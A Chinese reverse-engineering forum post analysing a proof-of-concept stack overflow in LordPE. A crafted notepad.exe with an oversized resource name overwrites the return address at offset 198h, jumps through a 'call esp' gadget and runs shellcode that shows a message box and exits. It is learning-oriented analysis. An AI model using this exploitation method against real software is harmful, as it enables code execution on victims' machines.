最近在学习逆向,看到somuch大大找到的漏洞,羡慕不已
,小小分析了一把,作为对自己的锻炼吧,呵呵。因本人水平有限,错误和疏漏之处请各位大大多多指点啊,我也进步的快些
,谢谢。
Somuch的帖子中提供了一个程序“notepad.exe”,该程序被修改过,用LordPE装载该程序,查看其资源时会产生溢出。具体分析如下:
1、 用OD载入LordPE后,打开somuch提供的notepad.exe,找到打开资源项目对话框的地方:
0040F2D0 > \8B7424 08 mov esi, dword ptr [esp+8] ; Case 110 (WM_INITDIALOG) of switch 0040F265
0040F2D4 . 56 push esi ; /Arg1
0040F2D5 . E8 96010000 call 0040F470 ; \LordPE_h.0040F470
2、 跟入函数0040F470,找到载入资源的地方,跟踪之后发现是在读取图标名称的时候发生的溢出,跟入一个关键函数:0040F350
0040F7C5 |. 68 2C010000 ||push 12C
0040F7CA |. 8D8D 6CFEFFFF ||lea ecx, dword ptr [ebp-194]
0040F7D0 |. 51 ||push ecx
0040F7D1 |. 50 ||push eax
0040F7D2 |. E8 79FBFFFF ||call 0040F350
3、 在函数0040F350中,其功能主要是:清空函数0040F470中的局部变量var_194h——该变量保存了IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段,在LordPE中,该局部变量被分配了12C个字节的空间,然后再把新的name值赋给var_194h,具体分析如下:
0040F350 /$ 55 push ebp
0040F351 |. 8BEC mov ebp, esp
0040F353 |. 6A FF push -1
0040F355 |. 68 48944100 push 00419448
0040F35A |. 68 F0814100 push <jmp.&MSVCRT._except_handler3> ; SE 处理程序安装
0040F35F |. 64:A1 00000000 mov eax, dword ptr fs:[0]
0040F365 |. 50 push eax
0040F366 |. 64:8925 00000000 mov dword ptr fs:[0], esp
0040F36D |. 83EC 0C sub esp, 0C
0040F370 |. 53 push ebx
0040F371 |. 56 push esi
0040F372 |. 57 push edi
0040F373 |. 8965 E8 mov dword ptr [ebp-18], esp ;以上是开栈帧等的相关操作
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F376 |. 33D2 xor edx, edx
0040F378 |. 8B45 08 mov eax, dword ptr [ebp+8] ;ebp+8是第一个传入参数,保存的是PE文件中资源项IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段
0040F37B |. 66:8B10 mov dx, word ptr [eax] ;用名字命名的资源name字段指向的是一个结构体:IMAGE_RESOURCE_DIR_STRING_U,这里是取该结构的第一个字段Length(字符串长度,为WORD型)赋给dx
0040F37E |. 8B4D 10 mov ecx, dword ptr [ebp+10] ;ebp+10是第三个传入参数,总是为12Ch
0040F381 |. 8D41 FF lea eax, dword ptr [ecx-1] ;去掉字符串中最后一个0后的长度,即12Bh
0040F384 |. 8D3412 lea esi, dword ptr [edx+edx] ;因为在资源中存放的名字字符串是UNICODE编码,所以这里相当于把字符串长度乘以2
0040F387 |. 3BF0 cmp esi, eax ;比较PE中资源的名字字符串的字节个数与LordPE能保存的最大长度,即12Bh
0040F389 |. 76 02 jbe short 0040F38D ;若PE中名字字符串的字节个数等于12Bh,则跳走
0040F38B |. 8BD0 mov edx, eax ;否则强制设置从PE中读取的名字字符串的字节个数为LordPE能保存的最大长度,即12Bh,这里是保证数据不会溢出的。
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F38D |> 33C0 xor eax, eax
0040F38F |. 8B5D 0C mov ebx, dword ptr [ebp+C] ;ebp+C保存的是局部变量var_194h的指针,该变量保存的是PE中资源的名字字符串,其最大长度为12Ch(包含最后的0)
0040F392 |. 8BFB mov edi, ebx
0040F394 |. 8BF1 mov esi, ecx ;注意这里的ecx=12Ch
0040F396 |. C1E9 02 shr ecx, 2
0040F399 |. F3:AB rep stos dword ptr es:[edi]
0040F39B |. 8BCE mov ecx, esi
0040F39D |. 83E1 03 and ecx, 3
0040F3A0 |. F3:AA rep stos byte ptr es:[edi] ;以上这段是清空var_194h,全部设为0
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F3A2 |. C745 FC 00000000 mov dword ptr [ebp-4], 0
0040F3A9 |. 8D0C12 lea ecx, dword ptr [edx+edx] ;这里是溢出的关键,ecx为PE中名字字符串长度*2,这里出现严重错误,本来局部变量var_194h中只能存储12Ch(包含最后的0)个字符,但是这里却按照PE中名字字符串长度*2的长度来对其赋值,所以被溢出
0040F3AC |. 8B45 08 mov eax, dword ptr [ebp+8]
0040F3AF |. 8D70 02 lea esi, dword ptr [eax+2]
0040F3B2 |. 8BFB mov edi, ebx
0040F3B4 |. 8BC1 mov eax, ecx
0040F3B6 |. C1E9 02 shr ecx, 2
0040F3B9 |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
0040F3BB |. 8BC8 mov ecx, eax
0040F3BD |. 83E1 03 and ecx, 3
0040F3C0 |. F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] ;以上是用PE中名字字符串给var_194h赋值
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F3C2 |. C745 FC FFFFFFFF mov dword ptr [ebp-4], -1
0040F3C9 |. 52 push edx ; /Arg2
0040F3CA |. 53 push ebx ; |Arg1
0040F3CB |. E8 4028FFFF call 00401C10 ; 该函数主要是把UNICODE字符串变为char字符串
0040F3D0 |. 83C4 08 add esp, 8
0040F3D3 |. B8 01000000 mov eax, 1
0040F3D8 |. 8B4D F0 mov ecx, dword ptr [ebp-10]
0040F3DB |. 64:890D 00000000 mov dword ptr fs:[0], ecx
0040F3E2 |. 5F pop edi
0040F3E3 |. 5E pop esi
0040F3E4 |. 5B pop ebx
0040F3E5 |. 8BE5 mov esp, ebp
0040F3E7 |. 5D pop ebp
0040F3E8 \. C3 retn ;函数返回,注意栈空间
4、 因为局部变量var_194h是函数0040F470的,所以溢出是在0040F470中的,该变量在栈帧-194h处(在我这里是:0012ECCC处),要溢出返回地址的话,应该在该字符串第198h填写新的返回地址,而somuch的notepad.exe就是这样做的:
0012ECC4 CC CC CC CC CC CC CC CC 2B 94 41 00 E8 00 00 00 ;0041942B就是新的返回地址
5、 跳到该地址后发现是call esp,所以又会跳回0012ECD0,由于在上面的溢出中,把这里的栈空间也溢了,这里是一段shellcode代码:
0012ECD0 E8 00000000 call 0012ECD5 ;这里为了能让ebp指向当前栈顶,使用了call下条指令的方法,这样会把下条指令的地址压栈
0012ECD5 5D pop ebp ;这里把上面压栈的地址弹出至ebp,而压栈的地址正是本条指令的地址0012ECD5,这样做便于用很少的指令来相对引用栈中的数据
0012ECD6 6A 00 push 0
0012ECD8 8D45 4F lea eax, dword ptr [ebp+4F] ;栈中的溢出数据somuch
0012ECDB 50 push eax
0012ECDC 8D45 56 lea eax, dword ptr [ebp+56] ;栈中的溢出数据You Need Update LordPE! somuch
0012ECDF 50 push eax
0012ECE0 6A 00 push 0
0012ECE2 FF15 C4924100 call dword ptr [<&USER32.MessageBoxA>] ; USER32.MessageBoxA ;显示上面的信息
0012ECE8 6A 00 push 0
0012ECEA FF15 D8904100 call dword ptr [<&KERNEL32.ExitProcess>] ; kernel32.ExitProcess ;退出程序
6、 这样就利用在复制字符串时的漏洞完成了一次溢出操作。